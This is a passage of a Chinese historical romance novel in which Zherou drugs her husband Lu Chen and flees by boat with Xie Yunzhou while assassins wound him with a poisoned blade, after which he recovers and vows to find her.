唇瓣辗转间,门外忽然传来阵阵骚动,隐约听得见密集的脚步声纷乱杂沓。 陆谌神色蓦地一变,扬声唤南衡,“出了何事?” 南衡极快应声,“郎君当心,莫要出来,船上疑有刺客!” 听见这话,折柔心头忽地一颤。 如无意外,应当是谢云舟安排的接应。 时辰刚好,正是时候趁乱脱身。 见舱外刀光剑影闪动,陆谌眸色微沉,正要伸手将折柔拉到身后,胸口忽然泛起一阵窒痛。 眼前一瞬瞬地发黑,大半边身子使不上力来,他本能地想要搀扶些什么,却失手打翻了茶盏,溅落一地碎瓷。 折柔站在一旁,抿紧了唇瓣,静静看着他的神色。 四目蓦然相抵。 陆谌艰难地张了张唇,却已然发不出声音,只能怔怔地看着她,漆黑的双眸中满是不可置信,又带着隐隐的戳伤。 折柔抿了抿唇,轻声道:“熟水里用了杜鹃花和紫藤籽,二者混用,有痹经镇静的效用。” “不必担心,我用量很轻,不会伤你性命根本,只是肢体麻痹,不能言语,至多小半个时辰,药性自解。” 陆谌唇色苍白,一双黑眸沉沉地凝望着她,尽是难以言说的执拗和怨痛。 折柔被他那样受伤的眼神看得心中难过,喉咙里仿佛被什么堵住,微微地哽咽着,好半晌,方才轻声叮嘱:“你莫要强行催动气血、试着硬抗,否则这剂量虽轻,但毕竟是有毒之物,难免会留下症候,日后调养起来也是麻烦。” 陆谌眼尾泛起了赤红,面无表情地将地上碎瓷收进掌中,死死攥紧。 与她相伴多年,寻常药理他也略知一二,眼下若想尽快缓淡药性,要么服下解药,要么放血。 尖锐的瓷片割破掌心肌理,深深剜出几道狰狞伤口,温热鲜血霎时汩汩涌流出来。 他已觉不出疼痛,仿佛神魂都已被烈焰炙烤灼干,化作灰烬。 折柔心神杂乱,不曾留意他掌下动作。 “我知你真心有我,可你我所求不同……非要被执念所困,只是折磨蹉跎,不如一别两宽。” 眼前渐渐泛起一层薄雾,她嘴唇颤抖着,细弱指尖轻抚过他眉骨,“陆秉言,我虽不想再同你做夫妻,但你我之间的情分终究非同寻常……你先前那般强迫于我,委实可恶可恨,可如今我不想再做计较……我仍盼着你好,盼着你往后顺遂平安,长命百岁……陆秉言,你我就此别过罢。” 温热的眼泪滴落到他眉心,仿佛岩浆一瞬灼穿皮肉,痛彻肺腑。 陆谌痛苦地闭了闭眼,额角青筋一根根绷起。 折柔狠了心,半分都不再多留,咬牙站起身来,朝舱室的矮窗奔去。 身后的视线有如实质,炽烈浓稠,又压抑非常,仿佛要织成一张密不透风的蛛网,将她紧紧笼罩起来,她只想逃,快些逃。 将将除下窗栓,正要攀上窗沿,却不想身后陡然起了异动。 折柔心头一惊,来不及回头,一手撑住窗棂,用尽了力气向上攀。 然而下一瞬,陆谌竟已踉跄着追了上来,一把抓住她细弱的胳膊,猛地将她拖了回去,抵在舱壁上死死困住。 折柔惶然惊骇,拼命挣动,“你放开我,放开!” 药性虽已冲散了许多,但出声仍是艰难,陆谌牙关打颤,双目血红,一字一句地低吼:“不准走……我不准!” 他心中恨怒到极致,手上力道失了分寸,折柔被他攥得腕骨生疼,眼前隐隐发黑,本能地伸手去胡乱摸索,惊慌间也不知寻到的是什么,抄起来猛地朝他头上砸去。 陆谌闷哼一声,身子微微一晃,头朝一边偏去。 眼见他额上转瞬破出一道口子,蜿蜒着淌下一道血溪,折柔惶然地松开了手,指尖剧烈地颤抖着,胸口不住地急剧起伏。 视线被鲜血糊住,陆谌抬手抹了抹头上的伤处,整个人僵凝一霎,目光又缓缓移到她脸上,眼中尽是不可置信的痛楚,“……妱妱?” 折柔顿时感到心痛如绞,不觉间已是泪流满面,浑身发颤。 陆谌先前虽放了血出来,散去几成药性,可终究不能全然缓解,急喘着僵持片刻,手上力道渐有些松懈。 折柔察觉到他的异样,用尽了全身的力气,挣扎着从桎梏中脱身出来。 陆谌几乎要支撑不住,一手扶住舱壁,堪堪稳住身形,单薄的眼尾湿红一片,分不清是怒还是痛,又或是浸透了鲜血。 他低声喃喃,似有哽咽:“妱妱,别走……” 折柔心头忽而一阵拧痛,再不敢看他一眼,当即咬紧牙关,踉跄着转身奔向矮窗,攀上窗沿,跌跌撞撞地向外跑去。 忽然身后咣当一声巨响,舱门被人从外破开,南衡急闯进来,看清舱内情形的瞬间,神色猛地一变。 “郎君!” 陆谌一把推开他过来搀扶的手,面色惨白狰狞,脖颈上青筋一道道贲张,艰涩地从齿缝里挤出个破碎的字节来。 “追!”《 》 40-50 第41章 遇刺 夜色昏暗,船舱外“刺客”人数不少,陆谌的亲卫同他们缠斗在一处,也有船客被声响惊扰,奔逃躲避,周遭人影晃动,喊声杂乱,四下里已然乱作一团。 仿佛陷入一场混乱的梦境之中,折柔脑中嗡嗡作响,心脏狂跳,什么也顾不上去看,只用尽全力朝着船板的方向奔去。 如无意外,谢云舟应当会安排人手在船板上接应她。 匆匆绕出客舱,奔上船板,果然看见一道熟悉的身影逆着人流迎了上来。 “鸣岐!” 折柔一路逃到此处,心脏跳得快要从喉咙里蹦出来,双腿软得几乎站立不住,强撑着一口气,踉跄着向前跑去,看见谢云舟的一瞬,只颤抖着唤了一声,便再也喊不出半分声音了。 “九娘!” 谢云舟疾冲过来,一把扶住她的身子,低声安抚道:“莫怕,随我来。” 折柔俯身急喘了两口气,点点头,由他在身前护着,一路往船尾的方向行去。 “公子。”周霄早已在船尾放下了舢板,一见二人过来,忙招手唤了一声。 谢云舟冲他点点头,纵身从船上一跃而下,又转回身,抬手将折柔稳稳地接了下来。 见折柔已经站稳,谢云舟俯身放开船绳,吩咐周霄撑浆划船。 然而,船只行出不远,舢板另一端忽地微微一沉,晃动了一下。 南衡竟不知何时追了上来,身形敏捷似闪电,轻轻一纵,径直跃上了小舟,抬眼看向折柔。 “请娘子随属下回去。” 折柔还未完全从奔逃的惊惧中回过神来,乍然看见南衡,心头忽地一紧,少顷,她掐了掐手心,迫着自己冷静下来:“南衡,烦你回去转告陆秉言,我不愿回头,也绝不回头。” 南衡心中焦急,忍不住上前一步,“娘子!” 见状,谢云舟一把将折柔护到身后,迅速地抽出腰间长刀,沉声怒道:“你没听见么?她说不想回去!” 有谢云舟拦在身前,南衡根本碰不得折柔半寸衣角,又挂心着船上形势,几招下来,南衡顿时急红了眼,咬着牙急声重复:“还请娘子随属下回去!” 折柔摇了摇头,语气坚决,“我不回去。” 听着身后大船上传来的喊杀声,南衡再也顾不上什么尊卑礼法,猛地提刀向谢云舟攻去,刀刃相接间,怒声逼问:“小郡王今日所为,难不成是要杀兄夺妻么?!” 谢云舟闻言怒了,“胡说八道些什么?我几时动他陆秉言一根汗毛了?!” “那船上刺客是何人所遣?!” 谢云舟微怔,两道俊眉一瞬拧起,“什么刺客?” 忽然间听见他这样一句,折柔猛地意识到不对。 听着语气,船上那些“刺客”并非出自谢云舟的调遣?所以,是当真有人想要陆谌的性命?! 她脑中“嗡”地一声,背后登时窜起一层冷汗。 “住手!”再也不敢往深处想,折柔忙看向南衡,急声道:“别打了,快回去!回去救陆谌!” 南衡微微停顿一霎,却只是攥了攥刀柄,又朝谢云舟劈去,声音微沉: “郎君有命,要带娘子回去,属下万死不敢辱命!” 见他一副恍若未闻的模样,折柔咬了咬牙,颤声道:“南衡回去!他喝了我煮的药茶,药性发作起来,周身麻痹,动弹不得,落在刺客手里,只有死路一条!” 听闻这话,南衡猛然一惊,顿时停下脚步,“娘子说什么?” 舱室里,陆谌倚在木壁上,急促地喘息,听着不远处铁器相击的喊杀声,依着多年战场拼杀的本能,他直觉此番夜袭来者不善,应当正是冲他而来,此地断不宜久留。 咬紧了牙关,陆谌一手扶住舱壁,踉跄着站起身,低喘了几息,勉力抽出腰间佩刀,正要循着折柔逃脱的方向撤去舱外,忽然发觉腰间有些异样。 原本系在躞蹀带上的一个软布荷包不见了。 里面还装着她阿娘留给她的银镯。 心头忽地一慌。 回过神来,陆谌又忍不住自嘲冷笑,胸口泛起一阵又一阵的拧痛。 那是她阿娘的遗物,虽然值不上几贯钱,可她一向极是宝贝珍视,平素里连一滴水都不曾沾过,只有同他成亲那日,才小心翼翼地取出来,当做她仅有的嫁妆,戴在腕上过了一夜。 失而复得更是难得,可如今为了弃他而去,她竟连此物都舍下了。 陆谌闭了闭眼,喉头隐隐泛起腥甜。 她虽狠心舍得下,他却不能任由那对银镯就此遗失。 更何况……更何况谢云舟给她寻回来的东西,又岂能丢在他手上。 药性发作得愈加蛮狠,手脚已是麻僵难动,陆谌勉强用长刀撑住身形,喘息着向地上寻去。 身后厮斗声愈近,明知此地危险,倘若有刺客寻到破绽闯进来,他几乎是必死无疑,偏却似入了魔,满心执拗地要将她的东西寻回来。 仿佛唯有如此才能安心。 额角青筋鼓胀跳痛着,视线愈加模糊,陆谌艰难地挪拖着脚步,转过桌案,低着眉眼,四下寻了半晌,终于在榻前的碎瓷片下,瞧见隐约露出来的荷包一角。 眼前一阵阵地发晕,顾不得地上尽是碎瓷,他僵着身子半跪了下去,颤手抽出荷包,长指摸索着按了按,触到一圈微硬的弧度,镯子还在。 心下忽地一松。 正要撑身离开,身后忽而有脚步掠近,似是有人纵身闯入了舱室。 “郎君小心!!” 有亲卫踉跄着紧紧追赶过来,嘶声厉吼着示警。 然而不及陆谌回头,身后那人下手利落凶狠,未留分毫余地,兵刃直向他后心刺去。 陆谌只觉背上一寒,听得身后剑风掠过,有心想要起身闪避,可胸口血气翻涌,四肢僵痹着不听使唤,周身上下连半分力气都使不出来。 下一瞬,剑刃已经刺入背脊,尖锐的剧痛猛然袭卷全身。 几乎是出自本能的求生反应,肌肉收缩痉挛一刹,陆谌拼尽力气翻身掠起,反手提刀,堪堪格住一击。 刀剑相撞,激出一片火花。 刺客见状还欲再攻,陆谌却已无力再挡,只能看着眼前白晃晃一道寒芒闪过,直冲面门袭来。 “郎君!” 正当此时,南衡疾冲赶到,猛地扑身上前,刀剑铮然划出一声锐鸣,刹那间挑开剑刃,一刀朝刺客直劈而下! 万不曾想,会见到南衡骤然去而复返。 陆谌面色一白,刹那间心神剧震,浑身的血液仿佛都在一瞬凉透。 刺客同南衡缠斗过几招,舱外的数个亲卫也终于脱身追了进来,将人团团围住。 刀光剑影交错,刺客眼见不敌,左右方才一剑也算得手,当即不再恋战,虚晃一个破绽,向舱外的同伴沉声下令:“撤!” 南衡顾不上再追,赶忙回头,快步上前,急着去看陆谌的伤势。 “郎君!” “上将军!” 几个亲卫匆匆围拢而上,将陆谌半扶起来,南衡伸手探去他后心伤处,挪开一看,指腹间的血色暗红发乌,显见是淬了毒。 见此情形,众人心头皆是一沉,情急之中先撕下一截武袍,替他紧紧缠裹住伤处。 陆谌意识尚算清明,却已说不出话来,只猩红着一双眼,赤若滴血,谁都不看,只死死地盯着南衡,呼吸急沉,鬓边冷汗如雨,俊容扭曲,青白狰狞。 南衡自然明白他的意思,喉头滚了几滚,愧怍地低下了头,不敢同他对视。 “属下无能,未能,未能追回娘子……是小郡王……” 周身剧痛蚀骨,额头青筋鼓跳,心脏猛烈收缩一瞬,忽而喉头一甜,一线腥热自腔中倒涌而上。 再也压抑不住,陆谌下意识收拢掌心荷包,呼吸间,猛地呛呕出一大口急血。 众人惶然变色,“郎君!” 几乎是竭尽全身的力气,抬手,狠掐住身前的手臂,喉咙痉挛着,艰难挤出几个破碎气音,仿佛也浸透了腥甜血气:“带……咳,咳……带……我……” 南衡知晓他心意,一瞬红了眼,咬紧下颌,半背半扶着陆谌走出舱室,登上船板。 一路走,一路有血珠顺着衣袍指尖滴落到地上,在身后蜿蜒出一条细长的狰狞血线。 江面上隐隐泛起薄雾,南衡喉头哽咽着,抬手给他指了折柔乘船离开的方向。 星垂平野,月涌江流,小舟上杳杳一盏昏灯,已然顺风行远,在黑漆漆的江面上半隐半现。 然而只一眼,陆谌就望见了立在船头的折柔。 她身上披着一件明显是男子制式的外袍,江风灌入宽大的袍衫袖口,鼓动起她天水碧的罗纱裙裾,在夜色中翻飞飘摇,仿若将要乘风归去,从此教人再也触摸不及。 舟船渐远,她甚至连一眼都不曾回头。 一瞬间,锥心刺骨的痛怨混杂着百般酸苦直冲喉头,胸口仿佛被人用钝刀活生生剐去一块血肉,喘息间早已分不清身上是何处在疼。 陆谌双眼通红,自虐一般,死死地盯住那道纤瘦身影。 她竟能狠心至此,一次又一次地决绝而去,原来这些时日,她那般柔情婉转,笑意盈盈,也不过是在哄骗于他。 原来她从始至终,都在想着要如何将他舍弃得干干净净。 为此,甚至不惜给他下毒,对他动手。 好极,当真好极。 万箭穿心,剜骨剔肉,不过如此。 装着银镯的荷包仍攥在手中,金丝绣线细密的纹路硌得掌心伤处微微刺痛。 陆谌闭了闭眼,想自嘲地笑一笑,唇角却有如千斤之重,扯不动半分,唯有眼尾一瞬泛起潮润。 第42章 夜谈 夜色沉静,水雾苍茫,舟船顺风而下,破开的水浪潺潺作响,在黑寂辽阔的江面上愈发清晰入耳。 “九娘?九娘?” 谢云舟连唤了几声,折柔方才回过神来,发觉脸上的泪水已经被江风吹干,肌肤紧绷起一丝细微的刺痛。 谢云舟垂眸看她,“可是在担心陆秉言?” 折柔抿了抿唇,一时竟不知如何应声。 谢云舟也说不出心头是什么滋味,喉结上下滚了滚,出声宽慰:“莫担心,我既传信给岸上守备,不出一炷香,必会有人前去接应。”顿了顿,又解嘲似的扯唇笑笑,“俗话说得好,祸害遗千年,他这祸害轻易不会有事。” 良久,折柔低低“嗯”了一声,眺着阔远苍辽的江面,在船头怔立半晌,终是一眼都不曾回头望过。 不觉间,小舟已经行到清江浦口码头,谢云舟事先便安排了快船在此等候。 一行人弃了舢板,登上快船。 为着不惹人眼目,这条船的体量也不甚大,瞧着像是寻常渔家载货的客船,但比起方才简陋的舢板,已算得上极为宽绰舒适。 见谢云舟扶着折柔上了船,船头一个头梳双髻,作丫鬟打扮的小娘子快步迎了上来,恭敬行礼,唤道:“公子。” 嗓音脆生生的,极为清亮,气劲十足。 谢云舟勾唇笑笑,转头看向折柔,挑眉道:“她叫水青,原是我阿娘身边侍奉的武婢,身手极好,寻常家丁护院也不是对手。你一人孤身在外,身边总要有个护卫才行,男子难免多有不便,我思来想去,觉得这小丫鬟正合适。瞧瞧,如何?” 折柔向水青脸上看去。 小丫头瞧着十五六的年岁,举止间极为利落,手脚修长,偏又生得圆脸圆眼,模样倒有几分肖似小婵,让她一看便心生亲近。 折柔不禁冲她弯唇笑笑。 “日后她就是你的人了,只听你一人差遣。”谢云舟见她似是颇为满意,不禁也勾了勾唇,继续道,“往后你若想见我……” 话音未落,便惊觉失言,他又急着解释,“不是……九娘,我不是这个意思……” 折柔自然知晓他没有旁的意思,只是一时有口无心,可难得见他窘迫,唇角也不由微微地翘了翘。 谢云舟不大自在,轻咳一声,重新解释道:“往后你若有事寻我,就叫她给周霄传信,若是不想教我知晓行踪,她也绝不会向我透露分毫。九娘,你尽管放心。” 不想他会考量周全至此,折柔忽觉眼眶隐约有些发烫,沉默半晌,她轻声道:“鸣岐,多谢你。因着我的事,也牵累你了。” 谢云舟垂眸看着她,语气认真:“九娘,我同你说过的,既是我甘之如饴,便算不得牵累。” 更何况,他也有私心。 ——他嫉妒陆谌。 明知是至交好友的发妻,明明也隐忍克制多年,可偏偏心生嫉妒,一日复一日,已然嫉妒得要发疯。 停顿片刻,谢云舟忽地笑了,斜乜她一眼,“不过一个小丫头,算不得什么。胥国公府里像这般的女使不止一个,都是我爹亲自教导的武艺,挑选出来近身护卫我阿娘的。” 折柔从前便知晓一些国公府的情形,听闻这话,心中也隐隐生出歆羡,“你爹娘很恩爱。” “可不正是。”谢云舟笑笑,松散地倚在船杆上,又似是想到什么有趣的事,“老头子如今惜命得很,连多年的酒瘾都戒了。他死要面子不承认,但那点心思又瞒不过我,他和羌人打了半辈子的仗,身上旧伤太多,是生怕自己走得早了,留我阿娘一人孤单可怜。” 折柔听得有趣,不由笑起来,“能生在这样的人家,简直是上辈子修来的福分。” 谢云舟不知想到些什么,默了默,仰头望着天上漫漫星河,牵起唇角,“能做他们的儿子,确是我的福分。” 夜深无人,四下静谧,船头一盏昏黄暖灯,两人坐在船板上,看着江面波光水色,就这般有一搭没一搭地,闲叙了半夜家常。 不知不觉间,折柔原本浮动着的心绪渐渐松散下来,心中竟有种说不出的安定。 如今有谢云舟在,两淮水路都可通行无阻,舟船便只沿着江阔通畅的里运河而行,夜里过了北神堰闸口,次日清晨便已抵达楚州地界。 楚州是淮南商埠重地,渡头人流往来如织,熙攘繁闹。 谢云舟将早前准备好的包袱交给水青拿好,送折柔下了船,便要折返淮安。 隐约猜出些不对,折柔犹豫半晌,最后仍是没能忍住,开口问道:“你是要回去寻陆谌?” 谢云舟应了一声是,垂眸望着她,扬唇笑笑,“陆秉言同我的交情终究非同寻常,我既插手此事,总要与他有个交待。” 淮河船上,不出谢云舟所料,淮安道守备郎将很快便带了人手前去接应陆谌。 南衡早已急红了眼,一把扯住郎将追问:“附近可有得用的大夫?我家郎君重伤,快叫大夫来!” 眼见陆谌已是面如金纸,气息将绝,那郎将也不免心头直颤,当即道:“回淮安,先前小郡王遭水匪暗算,不慎中了一箭流矢,官家特将翰林医官院里最擅金创外伤的胡医正遣来淮安,随军听调,如今人就在守备所营中!” 众人赶回到淮安时已近三更,胡医正早已解衣睡下,忽听得院中起了喧闹,人声杂乱,夹杂着兵器啷啷,当即心道不好,只怕是那金尊玉贵的小王爷出了事。 再也顾不得旁的,胡医正匆匆换上衣衫迎出去,等见来者并非谢云舟身边亲卫,顿时心下一松,可下一瞬就看清了一身是血的陆谌,不由愕然顿住。 南衡急道:“请先生救命!” 胡医正忙定了定神,吩咐将人抬进屋中,上前查看伤处。 护卫相互搭着手,将陆谌送到屋内榻上,胡医正一见创口血色,心下便是一惊,显见是兵刃上淬了毒。 胡医正伸手探了探陆谌的脉象,一时间难以确认刺客剑上用了何毒,但寻常兵器淬毒多取自于蛇虫,如今唯有死马当作活马医。 也顾不上许多,胡医正先给他硬塞了一颗消解蛇毒的石黄清露丸,接着一面施针,一面沉声吩咐南衡:“这一剑刺得太深,八成已经伤及肺腑,要想救命,还需先将内里淤积的毒血引出来。我药箱里有麻沸散,黄布包的那个,拿出来教他服了!” 南衡当即应声,去药箱里翻出一帖麻沸散,匆匆倒进碗里用烈酒化开,转身给陆谌喂去。 却不想陆谌疼得痉挛起来,齿关扣得死紧,南衡费了大力,急出了一头的汗,也才堪堪灌进去小半碗,余下大半都洒在了外头。 眼见情形不妙,已然等不及再喂更多麻药,胡医正当机立断,出声唤人,“来,你们几个,扶他侧卧,按住了,莫要教他乱动。” 几个护卫二话不说,遵照从命,伸手将陆谌死死按扶在榻上。 见状,胡医正赶忙从药箱里取出一截尺来长、小指粗细的空心竹杆,用烈酒仔细洗过一遍,斜刺着插入陆谌背上伤处,紧接着抬手压住伤口边缘,发狠力迅疾地揉按下去。 似乎是陡然间疼到极处,陆谌整个人猛一痉挛,无意识地痛喘了几声,脖颈上的青筋贲张暴起,一股污血立时顺着竹杆涌了出来。 众人看得俱是一阵心颤。 如此反复数次,直到最后引出来的血完全变作鲜红,不再泛黑发乌,胡医正这才微松了一口气,蘸着一旁的烈酒,匆匆给陆谌清理过创口,又取线缝伤。 等到敷上七厘散,彻底止了血,陆谌周身早已被疼出的冷汗浸透,皮肤冰凉苍白,仿佛刚刚被人从水中捞出一般,连身下被衾都洇得能攥出汗滴。 胡医正累得几乎瘫坐到地上,抬手抹了抹汗,又招呼护卫给陆谌喂下两碗老参汤。 折腾到临近天明,见陆谌呼吸稍显平稳了些,面上那层隐隐的青黑也有些淡去,胡医正微点了点头,“只要熬得过今明两日,便能保住一条性命。” 南衡稍松了一口气,当即就要行礼拜谢。 胡医正抬手止住他的动作,脸上神色依旧端凝:“不必急着道谢,上将军所受这一剑伤及肺叶,剑刃又混了剧毒,眼下虽用猛药将毒性催出去泰半,但终究难以拔除干净。” “就算勉强保住一条性命,可日后余毒侵肺,也必会留下症候,只怕是要终生受苦。当务之急是尽快回京,有太医院的妙手和稀贵药材,或许还可调养有望。” 南衡听闻这话,心下猛地一沉。 眼下娘子踪迹不明,郎君又如何肯独自返京?倘若他就此带人回去,那和直接要了郎君的性命也没甚分别。 再心急,也只能等郎君醒来再做决断。 陆谌一连昏迷了整整两日,又高热不断,间或睁眼几回,也认不清人,只是谵语连连,又将前来侍药的亲随认作折柔,直到第三日的夜里,才挣扎着从昏昏深渊中勉强醒转。 南衡上前给他端去药碗,试探着说起胡医正的嘱咐。 陆谌似乎已从变故中缓复过来,闻言只是平静地撩起眼皮,淡淡地看了他一眼。 南衡便知晓了他的意思,当即垂下头,闭口不言。 好半晌,陆谌嘶哑着出声,“她是和谢云舟一道?” 南衡犹豫片刻,只能硬着头皮应了声是,又急忙道:“娘子心里极是挂念郎君安危,她原以为船上刺客是小郡王安排的接应,等到发觉不对,娘子立时急催属下回来,嗓音都急得变了调,当真情切,属下绝无虚言!” 陆谌眉眼阴沉着,一霎攥紧了手中瓷碗,骨节用力得隐隐泛白。 挂念么? 陆谌想起那年在洮州,他也如这般受了重伤,昏沉不醒,虚弱得不能起身下地,妱妱便日日守在榻前照料,直到那日他夜半被伤处疼醒,忽觉眉心湿漉漉的一片。 他抬手抹了抹,似是水渍,忍不住问她:“这是何物?” 却不想,见他意识清醒过来,折柔的眼圈一瞬就红了,埋首搂住他的脖颈,哽咽着啜泣,湿湿热热的泪水顺着衣领,直往他脖颈里流。 “屋外有几只夜枭……我听村里的老人说,夜枭啼叫是在数人眉毛……等教它数清了,便要带人走……我蘸了茶水……给你摸得糊一些,它就数不清了……陆秉言,我不许你走……” 真傻啊。 简直教他不知该如何疼惜是好。 那时的妱妱,是真心恋慕着他,满腔牵念只为他一人。 可如今呢? 怎就走到了如今这一步? 南衡不知陆谌想到了什么,只觉他神色冷静得叫人心惊,明明面色无波,偏却寒意森森,冷冽中又透着几分死寂。 咬了咬牙,也只能继续劝道:“郎君莫急,小郡王想必清楚娘子的行踪,咱们从他那处查起便是。” 听见这话,陆谌忽而牵唇冷笑了一下。 此事有谢云舟从中插手,看似是一条能借此寻人的线索,实则反倒是条绝路。 有谢云舟的人手帮忙打点,只会将她的踪迹彻底打扫干净,更不会再教他察觉半分。 只一想,陆谌便觉心头狠狠一阵拧痛。 他本就是偏狭强势的性子,那是他一个人的妱妱,这么多年爱欲入骨,早已容不得她身边再有旁的男子半分位置。 尤其那人还是谢云舟。 她幼失怙恃,没有真心待她的亲人,最最贪恋的便是这尘世间的一份甜暖,渴念着有人真心相伴。 他一向介怀谢云舟对她心存觊觎,正是因为他比谁都清楚,她这般的性子,尤为受不住谢云舟的热烈赤忱。 他也比不得谢云舟,能活得那般潇洒,随心所欲。 一想到她身上还披着谢云舟的外袍,这一路将由他悉心护着离开,两人途中不知将有多少言笑,不知将要亲近几许,待到日后,更不知还能遇见多少对她有意的男子,他便有如被油煎火烧,满腔恨怒忧惧不知要从何处倾泄。 恨不能剜去旁人的眼珠,恨不能立时将她捉回来,就锁在身边,教她从此只能看他一人,心中也只能有他一人。 碗盏被生生捏碎,汤药洒了一地,一片片碎瓷如同钝刀,在掌心滚砺划割,直剜得血肉狰狞翻卷,他竟丝毫不觉得疼,反倒只觉得痛快,甚至痛快得他忍不住微微发颤。 眼见又有鲜血自他掌中汩汩淌落,南衡惶然一惊,“郎君!” 陆谌平静地闭了闭眼。 短短几句话,一字一字慢慢从他齿间挤出来,犹如饮冰淬血,“去找她……掘地三尺,翻天覆海,也要给我,找出来。” 第43章 对峙 楚州地处淮水东南,虽然仍算在淮安辖下,两地间隔不远,但此处人烟稠密,素来是兵家必争的雄伟富庶之地,商埠繁华,街巷喧闹,往来客商极多,天南地北哪里都有,折柔带着水青行于市井,两个年轻娘子尽管都是北方口音,但混在往来客商的家眷中,一时半刻倒也极难教人察觉异样。 折柔对江南一带很是陌生,并未想好要去往何处定居,只是忽然想起叶以安说起过他家住楚州,她先前拿着叶家的工钱却不告而别,理应过来说上一声。 最要紧的是,她还存了旁的心思计较,她认识的人不多,陆谌早晚会查到叶以安的头上,若是能借他的口,将陆谌远远诓走便是最好。 谢云舟准备的东西极为周全,除了作假的身份凭由,数张空白路引,还另外备足了银钱,既有平常要用的散碎银两和数贯铜钱,也有可去坊柜兑取的交子牌票,粗粗算起来,起码大半年内她都不必为生计发愁,无论是北上回乡还是继续南下,都足够她慢慢寻一处僻静安稳的地方落脚隐居。 与上一回孤身一人匆匆出逃不同,她眼下身边既有水青,又有钱财傍身,心中不由安定许多,一路慢慢打听着,很快便寻到叶家的商铺。 陆谌伤重难行,身上又有毒性未解,受寒便夜咳呕血,几乎下不得床榻,便是早已心急如焚,也只能留在淮安守备所衙门里静养,等着散出去的人手回禀消息,生受这一遭煎熬。 南衡又端药进来,陆谌看他一眼,哑声问:“散出去的人手可寻到踪迹了?夜船去了何处?” 南衡手一抖,险些将碗里的药洒出去,也不敢直视陆谌的眼神,只能硬着头皮答:“当夜过了北神闸,而后那条船每到一处渡口便停下一回,娘子究竟是在何处下船……还需再查……” 陆谌沉默半晌,垂着眼应了一声。 有谢云舟出手帮忙,她这一路上必然不缺衣食,一时间不必急着去典当财物,更不必急着到药堂寻找生计,甚至连落脚赁屋也不必亲自出面,寻常那些去车马牙行打探的路子都行不通。 八月正处淮河汛期,河道上关卡遍布,船只在夜里通关,必得有河卒勘验牌票,行过便要留下痕迹,这是眼下仅有的还能寻她的线索。 南衡退下后,屋内重又陷入一片死寂。陆谌独自枯坐在榻前的那一爿光瀑中,指腹反反复复地摩挲过手中银镯的纹路,只觉周身一阵阵地发冷,仿佛浑身的血液都要凝结成冰碴,自血脉中穿刺而出。 她就走得这般干净,除了这对被舍弃掉的银镯,什么都不曾留下。 如此折磨,简直无异于摧心剖肝,寸寸凌迟。 自打清醒过来,他时常会生出一个偏执念头——倘若他当真死在那夜的刺客剑下,或许反倒是干净利索,大抵能换得她懊悔难过,到他坟前哭上一场,此生再也不能忘了他分毫。 谢云舟知道陆谌必会遣人追查他的行踪,在楚州别过折柔后,他片刻未停,当即一路南下,又兜转到扬州、江宁,如此过了三日才回到淮安。 去到守备所值衙门外,谢云舟翻身下马直入后衙,还未走进院子,扑面便嗅得一股极浓的苦药味,直呛得人肺腑隐痛。 正巧南衡端着空药碗从屋中退出来,一见来人是他,神色顿时微微一变,在原地定住片刻,似乎分毫没有向他行礼的意思。 谢云舟倒也不以为意,长指勾着马鞭轻转两圈,下巴朝屋内扬了扬:“陆秉言呢?在屋里?” 南衡迟疑半晌,上前行礼道:“郎君重伤未愈,受不得刺激,也不能生急怒,还请小郡王留神。” 谢云舟闻言倒是收敛了神色,点点头,应道:“知道了。” 南衡又谨慎地看他一眼,这才犹豫着侧身放行。 守备卫所是武人衙门,装点本就简陋,屋内又收拾得极整洁,没有屏风遮挡,谢云舟迈步进去,一眼就瞧见了支摘窗旁,阖目歇靠在圈椅里的陆谌。 如今不过将将入秋的时令,室内还沐着日光,他竟已披上了薄氅,一张俊脸苍白得没有半分血色,眼窝微微凹陷,眼下也泛着青,掌心缠了数道细纱布,隐约还能透出丝缕血迹。 算起来,前后不过短短数日未见,陆谌却显见着清减了一大圈,形容憔悴得教人触目惊心。 也不知是因为刚受过重伤,堪堪捡了条命回来,还是因为旁的什么。 瞧见陆谌这副病骨支离的枯槁模样,谢云舟心里一时间也颇有些不是滋味。 他和陆谌打小相识,这么多年过来,手足情分绝非泛泛。 他幼时体弱,偏又桀骜难驯,同人打架难免会吃亏,每每都是陆谌替他出头,和他同进退,还曾替他受罚挨打。 当年他们在资善堂一道进学,李桢骂他阿娘堂堂公主嫁马夫,骂他是野种,他气不过,和李桢厮打成一团,旁人都惧着李桢的皇子身份,一味地上前拉偏架,只有陆谌豁出去帮他,虽然事后官家并未追究,陆谌却也被陆老相公抽断了三根藤条,在祠堂里罚跪了七天七夜,最后高热大病一场,休养了整整一月有余才能下榻。 若是认真论起来,他虽从不曾唤他一声表兄,可在心里也着实视他如兄长。 从前他对陆谌是又羡又妒,此刻忽见他憔悴至此,却又觉得他可恨可怜。 谢云舟暗骂自己两句,主动唤了陆谌一声,坦然交代道:“我已经将九娘送走了,银钱、护卫也都准备得齐全,她在外安全得很,你不必担心,也莫再想着要强抢她回去,日后她若愿意见你了,自会来寻你。” 陆谌闻声缓缓睁开双眸。 午后的日光从窗中斜射进来,明亮的光束中细尘翻滚,如同楚河汉界斜斜隔在中间,两个青年男子四目相对,注视打量着彼此,一时间谁都没再作声。 “她在哪?”陆谌一开口,声音涩哑得仿佛被砂石磨过,丝丝沁血。 谢云舟扯了下唇角,轻哂:“你明知我不会说。” 陆谌的脸色越发冷冽阴沉,本就苍白如纸,此刻愈加像是凝结了一层朔冬寒冰。 他自然清楚问了也是白问。 可是这一遭也不知是何缘由,他竟隐隐有种走投无路的绝望。 既恨她冷情,怒她决绝,又害怕从此同她再也不见,诸般情绪连日来煎熬着心肺,折磨得他如同一头负伤的困兽,几乎不知要如何是好。 谢云舟顿了顿,继续道:“你我兄弟一场,今日我来便是给你个交待,要杀要剐悉听尊便,我随你出气,但九娘的行踪下落,我绝不会向你吐露半分。” 陆谌沉默着不作声,望向谢云舟的一双眼却如淬寒冰,沉沉地翻涌着戾气。 谢云舟微微蹙了眉,斜睨着他道:“我劝你也莫要再去寻她,如今王仲乾一死,徐崇绝不会再轻易信你,他若想把自己摘干净,必然要想法子拖你下水,等你我回京以后,上京城中必有动荡。 就算你能找到她,又不管不顾地强行将她扣在身边,可等到日后徐崇和你撕破了脸皮,只怕你自己都要去皇城司里走一遭,又如何分神护她安危?” 谢云舟看着陆谌,继续道:“李桢那厮是何等的畜生混账,也用不着我多说罢?倘若教人知晓她是你我软肋,李桢会不会拿她做文章?还有当初的那条漕船上,曾有水匪打过她的主意,难道你忘了么? 